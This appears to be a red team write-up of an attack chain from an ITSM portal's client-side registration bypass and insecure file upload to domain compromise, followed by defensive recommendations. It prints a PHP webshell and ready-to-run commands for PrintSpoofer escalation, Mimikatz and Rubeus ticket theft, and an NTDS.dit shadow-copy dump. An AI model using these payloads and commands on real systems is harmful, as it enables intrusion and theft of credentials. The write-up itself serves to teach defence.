// attack chain

External ReconRegistration BypassAuth'd EnumerationFile Upload AbusePHP Webshell / RCEService Acct EnumToken ImpersonationNT AUTHORITY\SYSTEMCredential HarvestAD PivotDomain Compromise


This post documents the technical anatomy of a red team engagement against an enterprise IT Service Management (ITSM) portal. The end result was total Active Directory compromise. What makes this engagement instructive isn't the sophistication of the individual techniques—most are well-documented and even commodity at this point. What matters is the architecture that made them possible: a public-facing web application treated as an isolated island while simultaneously acting as a trusted identity bridge into the domain core.

The organization operated under a common and dangerous assumption—that their DMZ perimeter was a hard security boundary. It was not. It was a bridge with no toll booth. What follows is a phase-by-phase breakdown of how we crossed it.

"The domain didn't fall because of a single sophisticated vulnerability. It fell because eleven individually manageable weaknesses were allowed to exist in sequence, each one canceling out the mitigation value of the next."

— // Red Team Lead, Post-Engagement Debrief


01 · Attack Phases

Phase 1 — External Reconnaissance and Target Identification

Initial reconnaissance was passive. We mapped the organization's external attack surface using standard OSINT techniques: certificate transparency logs via crt.sh, DNS enumeration, and passive crawling of internet-indexed content. The process surfaced a self-service ITSM portal accessible on the public internet—a Tier 1 web application intended to allow employees to log IT support requests.

The stack fingerprinting was straightforward: HTTP response headers disclosed the application was running PHP, and a combination of error page signatures and X-Powered-By headers indicated the underlying OS was Windows Server. That combination alone—PHP on Windows in an enterprise environment—is a flag worth investigating. PHP on Windows is an atypical deployment pattern that often correlates with legacy configurations and reduced operational hardening attention.

The registration page was publicly accessible. It presented a sign-up form that appeared to restrict account creation to @company.com email addresses, ostensibly ensuring only internal employees could register. This restriction became our first objective.


Phase 2 — Registration Bypass via Client-Side Validation Failure

Inspecting the registration form's source revealed the email domain restriction was enforced entirely in JavaScript. The validation logic looked something like this:

// Client-side validation — trivially bypassed
function validateEmail(email) {
  if (!email.endsWith('@company.com')) {
    showError('Must use a company email address');
    return false;
  }
  return true;
}

// Called on submit — never reaches the server if it returns false
// The server performs zero independent validation

We used Burp Suite to intercept the outbound registration request. The process was two steps: first, satisfy the client-side check by entering a valid @company.com address in the browser's form field; second, use Burp's intercept to modify the email parameter value to an attacker-controlled address before the packet reached the server.

POST /register HTTP/1.1
Host: itsm.company.com
Content-Type: application/x-www-form-urlencoded

username=attacker&email=attacker%40gmail.com&password=P%40ssw0rd123

# Original value was attacker%40company.com
# Modified in-flight — server accepted without re-validation

The server returned a 200 with a session cookie. We were in.

Finding — CWE-602: Client-Side Enforcement of Server-Side Security

The backend trusted the result of client-side validation implicitly. This is not a subtle architectural ambiguity—it is a well-documented class of failure. Any security check that does not occur on the server is a suggestion, not a control. The server must independently validate the email domain on every registration request, regardless of what the client submitted.


Phase 3 — Authenticated Enumeration and Attack Surface Mapping

With a valid session, we shifted from passive reconnaissance to active authenticated enumeration. The priority was mapping every feature exposed to authenticated users that involved user-supplied input processed server-side. Profile management features, file upload endpoints, and data export functions were all indexed.

The profile management module exposed a profile picture upload function. A file upload feature in a PHP application immediately warrants close attention. The relevant questions are: what file types does the server permit? Where are uploaded files stored? Are stored files in a web-accessible directory? Does the application validate file content (magic bytes), or only the filename and extension—and is even that validation performed server-side?

We began probing with benign test cases: a standard JPEG upload was accepted. We then tested boundary conditions—uploading a file with a .php extension and monitored whether the application rejected it at the server or merely at the client. It did not reject it.


Phase 4 — Insecure File Upload and PHP Webshell Deployment

The application lacked server-side file type validation in three critical dimensions simultaneously:

No MIME type enforcement. The server did not validate the Content-Type header against an allowlist of legitimate image types. No magic byte inspection. The application did not read the first bytes of the file content to confirm it matched a known image format signature. No extension filtering. The server accepted .php extensions without restriction.

Beyond the validation failures, uploaded files were stored directly in a web-accessible directory—meaning any uploaded file could be retrieved via HTTP and, critically in this case, executed by the PHP runtime.

We uploaded a minimal PHP webshell:

<?php
// Minimal command execution webshell
// $_GET['cmd'] passes OS commands through the PHP system() function
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

The file was accepted and stored at a predictable path under the uploads directory. Navigating to the shell URL and appending ?cmd=whoami returned the application's service account identity. We had remote code execution.

GET /uploads/avatars/a3f91c.php?cmd=whoami HTTP/1.1
Host: itsm.company.com

--- Response ---
nt authority\network service

GET /uploads/avatars/a3f91c.php?cmd=systeminfo HTTP/1.1
--- Response ---
Host Name:   ITSM-SRV01
OS Name:     Microsoft Windows Server 2012 R2 Standard
Domain:      CORP.COMPANY.COM

Finding — Unrestricted File Upload Leading to RCE

The combination of missing server-side type validation and web-accessible file storage is the complete exploitation primitive. Either control in isolation provides a mitigation path; the absence of both makes RCE trivial. Additionally, the upload directory should never serve files through the PHP interpreter. Files should be stored outside the webroot or served through a dedicated handler that strips executable permissions.


Phase 5 — Service Account Enumeration and Local Privilege Escalation

Initial shell access ran under a low-privileged IIS application pool identity. We transitioned from the browser-based webshell to a more robust reverse shell session for interactive enumeration, routing through our command-and-control infrastructure to avoid detection heuristics triggered by raw cmd.exe processes spawned from w3wp.exe.

Local privilege escalation enumeration followed a standard methodology: we audited the token privileges of the current process, reviewed service binary paths and ACLs, inspected scheduled task configurations, and checked for unquoted service paths and writable directories in the system PATH.

The most direct finding was immediate: whoami /priv returned SeImpersonatePrivilege in an Enabled state.

C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State
============================= ========================================= =======
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled

# SeImpersonatePrivilege + Windows Server 2012 = direct path to SYSTEM

SeImpersonatePrivilege is a Windows token right that allows a process to impersonate the security context of an authenticated client. It's legitimately required by service accounts that need to act on behalf of connecting users—IIS application pool identities being a canonical example. The problem is that this privilege can be weaponized to impersonate NT AUTHORITY\SYSTEM via a class of techniques collectively known as "Potato" attacks.

The mechanism involves forcing a SYSTEM-level COM service to authenticate back to an attacker-controlled named pipe, then impersonating that authentication token. On Windows Server 2012, tools like PrintSpoofer and GodPotato automate this reliably.

# PrintSpoofer abuses the Print Spooler's named pipe impersonation
C:\Temp> PrintSpoofer64.exe -i -c cmd.exe

[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 6.3.9600]

C:\Windows\system32> whoami
nt authority\system

# Total elapsed time from webshell to SYSTEM: ~4 minutes

Secondary enumeration confirmed additional escalation paths for redundancy: two service binary paths were writable by the application service account, and a scheduled task running as SYSTEM could be hijacked. Any one of these paths leads to the same outcome. When a host is configured this way, local privilege escalation isn't a question of if but which technique runs fastest.

Technical Context — SeImpersonatePrivilege Abuse

The Potato family of attacks (RottenPotato, JuicyPotato, PrintSpoofer, GodPotato) all exploit the same fundamental Windows design: the ability of a service account holding SeImpersonatePrivilege to impersonate a connecting client. When that connecting client can be forced to be SYSTEM—via the Print Spooler, DCOM activation, or similar—the privilege escalation is complete. Microsoft's recommended mitigation is to remove SeImpersonatePrivilege from service accounts that don't require cross-process impersonation, and to run on modern OS versions where some of these abuse paths are patched.


Phase 6 — Credential Harvesting and Kerberos Artifact Extraction

With SYSTEM-level access, the host's identity material was fully accessible. In a well-segmented environment, SYSTEM on a web server means SYSTEM on a web server—isolated, with no privileged onward reach. Here, it meant something else entirely.

We ran credential harvesting across three categories of material:

Artifact Type Source Exploitation Path Severity
Cached Domain Credentials HKLM\Security (LSA Secrets) Offline cracking / Pass-the-Hash CRITICAL
Kerberos TGTs / Service Tickets LSASS process memory Pass-the-Ticket lateral movement CRITICAL
NTLM Credential Hashes LSASS memory dump Pass-the-Hash, offline crack CRITICAL
Service Account SPNs Active Directory (LDAP query) Kerberoasting → offline ticket crack HIGH
Cleartext Credentials Application config files, IIS web.config Direct domain authentication CRITICAL

The LSASS memory dump was obtained using a signed binary living-off-the-land technique to reduce EDR detection surface. From it we extracted multiple Kerberos tickets via Mimikatz's sekurlsa::tickets /export. Several domain users—including a member of the Domain Admins group—had authenticated to the ITSM portal as part of standard IT operations and had Kerberos tickets cached in LSASS memory on this server.

mimikatz # sekurlsa::tickets /export

[00000000] - 0x00000017 - rc4_hmac_nt
  Start/End/MaxRenew: [timestamp]
  Server Name       : krbtgt/CORP.COMPANY.COM
  Client Name       : helpdesk-admin @ CORP.COMPANY.COM
  Flags             : 0x40e10000 - forwardable, renewable, initial, pre_authent
  * Saved to file [0;1a4f2b]-2-0-40e10000-helpdesk-admin@krbtgt-CORP.COMPANY.COM.kirbi

mimikatz # kerberos::ptt [ticket_file.kirbi]
* File: '[ticket_file.kirbi]': OK

# Injected ticket now valid in current session — no credentials needed

Technical Context — Pass-the-Ticket

Kerberos tickets (specifically Ticket Granting Tickets) are cryptographic proof of authentication. Once extracted from LSASS memory, they can be injected into any session on the same host using Mimikatz's kerberos::ptt or Rubeus's ptt command. The Domain Controller honors the ticket without requiring a password. The ticket's originating user—in this case a Domain Administrator—effectively becomes the attacker's identity for the duration of the ticket's validity. This attack requires SYSTEM or SeDebugPrivilege on the host where tickets are cached.


Phase 7 — Active Directory Pivot and Identity Tiering Failure

Before attempting to use the harvested tickets, we mapped our network reachability. This step is where the most significant architectural failure revealed itself.

# From ITSM-SRV01, direct probe of Domain Controller
C:\> Test-NetConnection -ComputerName DC01.corp.company.com -Port 445
TcpTestSucceeded : True

C:\> Test-NetConnection -ComputerName DC01.corp.company.com -Port 88
TcpTestSucceeded : True   # Kerberos — open

C:\> Test-NetConnection -ComputerName DC01.corp.company.com -Port 389
TcpTestSucceeded : True   # LDAP — open

# No firewall or network segmentation between Tier 1 (web) and Tier 0 (DC)
# The ITSM server has direct, unrestricted access to the Domain Controller

The ITSM server had unrestricted TCP access to the Domain Controller on every relevant port: SMB (445), Kerberos (88), LDAP (389), and RPC. In a properly tiered environment, a Tier 1 web server should have zero direct network reachability to Tier 0 infrastructure. The absence of any network segmentation between these two tiers meant that credential material harvested on the web server was immediately usable against the domain without any further pivoting required.

This is the conceptual core of the compromise. Security architects often focus on perimeter controls—firewalls between the internet and the DMZ. They underinvest in internal segmentation between their own trust tiers. The result is an environment where a perimeter breach grants an attacker flat network access to the most sensitive infrastructure in the organization.

Finding — Identity Tiering Failure / Missing East-West Segmentation

Microsoft's Active Directory tiering model (Tier 0: domain identity core; Tier 1: servers and services; Tier 2: workstations) exists precisely to prevent this scenario. A credential or token extracted from a Tier 1 asset must never be usable to authenticate directly to Tier 0 assets. This requires both network segmentation (firewalls/ACLs blocking direct DC reachability from web servers) and credential isolation (Tier 0 admin accounts must never authenticate to Tier 1 systems). Both controls were absent here.


Phase 8 — Domain Compromise

With a valid Domain Admin Kerberos ticket injected into our session and direct network reachability to the Domain Controller, the engagement's final phase was straightforward. We authenticated to the DC over SMB using the stolen ticket, dumped the NTDS.dit database via Volume Shadow Copy to obtain the full credential store for every account in the domain, and verified administrative access to multiple Tier 0 systems.

# Inject harvested DA ticket
Rubeus.exe ptt /ticket:helpdesk-admin@krbtgt-CORP.COMPANY.COM.kirbi

# Verify access to DC
dir \\DC01.corp.company.com\C$
 Volume in drive \\DC01.corp.company.com\C$ has no label.
 Directory of \\DC01.corp.company.com\C$

# Extract NTDS.dit via VSS for full domain credential dump
wmic /node:DC01.corp.company.com shadowcopy call create Volume='C:\'
vssadmin list shadows

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\

# secretsdump.py offline analysis returned credentials for 3,400+ domain accounts
# Including krbtgt — enabling Golden Ticket persistence if required

The engagement was concluded. Total elapsed time from first HTTP request to Domain Admin: under eight hours across two days of work. The organization's entire user base, every server, every workstation, every service account—all were within reach.


02 · Root Cause Analysis

A Taxonomy of Compounding Failures

Post-engagement analysis identified the following distinct weaknesses. None is individually responsible for the outcome. The compromise was the product of their intersection.

# Weakness Category Impact
W-01 Email domain validated client-side only Input Validation Unauthorized account creation
W-02 No server-side file type or content validation on upload Input Validation Arbitrary file storage
W-03 Uploaded files stored in web-accessible, PHP-executable directory File Handling RCE via uploaded webshell
W-04 Service account held SeImpersonatePrivilege Least Privilege Local privilege escalation to SYSTEM
W-05 Multiple secondary escalation paths (writable paths, task ACLs) Host Hardening Redundant escalation vectors
W-06 Legacy OS (Windows Server 2012) with expanded attack surface Patch Management Broader tool compatibility for attacker
W-07 High-privilege domain users authenticating to Tier 1 asset Identity Tiering Tier 0 credentials cached on Tier 1 host
W-08 No network segmentation between ITSM server and Domain Controller Network Architecture Stolen tickets usable directly against DC
W-09 No EDR or LSASS protection preventing credential extraction Endpoint Security Kerberos tickets/hashes extracted from memory
W-10 Domain-joined web server with high AD trust relationship Identity Architecture Server acted as AD identity bridge

The critical observation is that mitigating any two or three of these weaknesses might have broken the chain. Enforcing server-side file upload validation (W-02 + W-03) prevents RCE regardless of the registration bypass. Removing SeImpersonatePrivilege (W-04) would have required us to find an alternative local escalation path—which existed, but adds time and noise. Network segmentation between the web server and the DC (W-08) would have stopped credential material from being usable, even after full SYSTEM access. Identity tiering (W-07) would have meant nothing privileged was cached on the host to steal.

Defense-in-depth is not a buzzword. It is the observable property that when multiple independent controls exist, an attacker must defeat all of them. Here, none were independent—they shared a failure mode, which was the absence of a security architecture review that treated the web application as a potential beachhead rather than a boundary.


03 · Defensive Lessons Learned

Recommendations for Security Practitioners

D01 — Enforce Server-Side Input Validation — Without Exception

The client is an untrusted environment. Every security-relevant validation—email domain checks, file type verification, access control decisions—must be re-executed on the server. The correct architecture for email domain registration is a server-side allowlist check with a deny-by-default posture: if the domain does not match, the request is rejected at the application layer before any account is created. JavaScript validation is a UX feature, not a security control.


D02 — Harden File Upload Handling at Every Layer

A secure file upload implementation requires controls at multiple layers simultaneously: (1) server-side MIME type and magic byte validation against a strict allowlist of permitted image formats; (2) renaming uploaded files to a random, non-executable filename (strip the original extension entirely); (3) storing uploaded files outside the webroot or on a dedicated object storage service; (4) serving uploaded content through a handler that sets a non-executable Content-Type and does not pass files through the PHP engine. The combination of all four makes this attack class effectively impossible.


D03 — Apply Least Privilege to Service Accounts — Aggressively

IIS application pool identities should run as ApplicationPoolIdentity virtual accounts with no SeImpersonatePrivilege—unless the application explicitly requires client impersonation, which most web applications do not. Audit every service account token privilege with whoami /priv and remove every right that isn't operationally justified. The presence of SeImpersonatePrivilege on a web-facing service account is a direct path to SYSTEM escalation on any version of Windows where Potato-class attacks are viable.


D04 — Harden the Host — Treat Web Servers as Hostile Territory

Assume that a public-facing web server will eventually be compromised. The host's configuration should make post-exploitation as difficult as possible: disable unnecessary services; audit service binary path ACLs and scheduled task permissions; deploy a modern, supported OS version; enable Windows Defender Credential Guard to prevent LSASS memory reading; enforce LSASS protection mode via RunAsPPL; and deploy an EDR solution with LSASS tamper protection enabled. None of these measures prevent compromise, but they meaningfully raise the cost of post-exploitation.


D05 — Implement Strict Active Directory Tiering and Credential Hygiene

The Microsoft Active Directory tiering model must be enforced with technical controls, not just policy. Tier 0 administrative accounts (Domain Admins, Enterprise Admins, Schema Admins, the krbtgt account) should only be used to authenticate to Tier 0 assets—Domain Controllers and AD management workstations. Privileged users must never authenticate to Tier 1 web servers or application servers using Tier 0 credentials, as doing so deposits credential material on those hosts. Authentication policies and silos in Active Directory (available from Windows Server 2012 R2 functional level) can enforce this programmatically by restricting which accounts can authenticate to which hosts.


D06 — Segment the Network — East-West, Not Just North-South

A web server in the DMZ must not have direct TCP access to a Domain Controller. The firewall policy between the DMZ and the internal network should implement an explicit deny-all default with only the specific ports required for the application's legitimate operation permitted. For an ITSM portal, that might include LDAP/S (389/636) for authentication lookups—but not Kerberos (88), SMB (445), or RPC. Critically, even permitted ports should be inspected and rate-limited. Network segmentation is the single most effective control for limiting the blast radius of a web server compromise.


D07 — Protect Kerberos Artifacts and Monitor for Anomalous Authentication

Enable Credential Guard on all servers to prevent LSASS memory reading. Monitor for Event ID 4769 (Kerberos service ticket request) anomalies—specifically, ticket requests for sensitive services from hosts that don't legitimately need them. Implement Privileged Access Workstations (PAWs) for domain administration, ensuring that Tier 0 credentials only touch hardened, dedicated machines. Rotate the krbtgt password at regular intervals (twice, in succession, to invalidate all existing Kerberos tickets across the domain). Alert on Mimikatz-specific behavioral indicators and LSASS access from non-system processes.


04 · Conclusion

The Bridge Nobody Mapped

What made this engagement instructive was not the technical novelty of any single step. Client-side validation bypass, insecure file uploads, token impersonation, Pass-the-Ticket—these are all documented, well-understood techniques with mature mitigations. The reason they all succeeded in sequence was that nobody had ever mapped the path from the ITSM portal to the Domain Controller as a coherent attack surface.

Security teams tend to evaluate controls in isolation: "our email validation works in normal usage," "our file uploads are reviewed by the WAF," "our service accounts have standard IIS permissions." Each statement might be individually defensible. But security is the product of how controls interact, and how they fail together. An attacker doesn't assess your controls one at a time—they assess the chain.

The correct mental model for any public-facing application is: assume it is compromised. Design the architecture, identity model, and network segmentation to limit what an attacker can do from that position. Ask, explicitly: if we have SYSTEM on this server, what can an attacker reach? What credentials will they find? Which Domain Controller ports are accessible? What have privileged users authenticated to recently?

// Technical details redacted and generalized for public disclosure · Engagement findings shared with written client consent · All techniques described are documented and well-known in offensive security research